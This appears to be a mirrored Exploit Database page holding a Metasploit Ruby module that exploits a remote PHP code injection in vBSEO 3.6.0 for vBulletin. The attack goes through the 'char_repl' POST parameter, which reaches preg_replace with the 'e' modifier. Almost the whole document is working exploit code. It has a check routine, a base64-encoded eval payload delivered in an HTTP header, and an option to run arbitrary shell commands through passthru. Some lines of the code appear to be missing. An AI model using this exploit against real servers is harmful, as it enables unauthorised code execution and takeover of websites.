vBSEO 3.6.0 – ‘proc_deutf()’ Remote PHP Code Injection (Metasploit)

Exploit Database
142 阅读

作者： EgiX

日期： 2012-01-27
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/18424/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',

'Description'=> %q{

This module exploits a vulnerability in the 'proc_deutf()' function

defined in /includes/functions_vbseocp_abstract.php. User input passed through

'char_repl' POST parameter isn't properly sanitized before being used in a call

to preg_replace() function which uses the 'e' modifier. This can be exploited to

inject and execute arbitrary code leveraging the PHP's complex curly syntax.

'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor

'License'=> MSF_LICENSE,

'Version'=> '$Revision$',

'References' =>

[

['BID', '51647'],

['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],

'Privileged' => false,

'Payload'=>

{

'DisableNops' => true,

'Space' => 8190,

'Keys'=> ['php'],

'Platform' => ['php'],

'Arch' => ARCH_PHP,

'Targets'=> [[ 'Automatic', { }]],

'DisclosureDate' => 'Jan 23 2012',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),

], self.class)

end

def check

flag = rand_text_alpha(rand(10)+10)

data = "char_repl='{${print(#{flag})}}'=>"

uri = ''

uri << datastore['URI']

uri << '/' if uri[-1,1] != '/'

uri << 'vbseocp.php'

response = send_request_cgi({

'method' => "POST",

'uri' => uri,

'data' => "#{data}"

})

if response.code == 200 and response.body =~ /#{flag}/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

if datastore['CMD']

p = "passthru(\"%s\");" % datastore['CMD']

p = Rex::Text.encode_base64(p)

else

p = Rex::Text.encode_base64(payload.encoded)

end

data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

uri = ''

uri << datastore['URI']

uri << '/' if uri[-1,1] != '/'

uri << 'vbseocp.php'

response = send_request_cgi({

'method' => 'POST',

'uri' => uri,

'data' => data,

'headers' => { 'Code' => p }

})

print_status("%s" % response.body) if datastore['CMD']

end